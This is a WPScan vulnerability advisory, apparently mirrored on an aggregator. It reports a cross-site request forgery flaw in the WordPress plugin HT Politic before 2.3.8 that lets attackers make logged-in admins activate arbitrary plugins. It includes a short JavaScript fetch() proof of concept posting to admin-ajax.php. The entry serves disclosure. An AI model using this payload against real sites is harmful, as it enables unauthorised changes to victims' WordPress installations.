Lucene search

K
wpvulndbLana CodesWPVDB-ID:B427841D-A3AD-4E3A-8964-BAAD90A9AEDB
HistoryFeb 28, 2023 - 12:00 a.m.

HT Politic < 2.3.8 - Arbitrary Plugin Activation via CSRF

2023-02-2800:00:00
Lana Codes
wpscan.com
2
csrf
plugin activation
arbitrary
wordpress
security issue

0.001 Low

EPSS

Percentile

29.6%

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

PoC

activate woocommerce plugin exploit: fetch(‘http://localhost/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=wppolitic_ajax_plugin_activation&location;=woocommerce/woocommerce.php’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

CPENameOperatorVersion
wp-politiclt2.3.8

0.001 Low

EPSS

Percentile

29.6%

Related for WPVDB-ID:B427841D-A3AD-4E3A-8964-BAAD90A9AEDB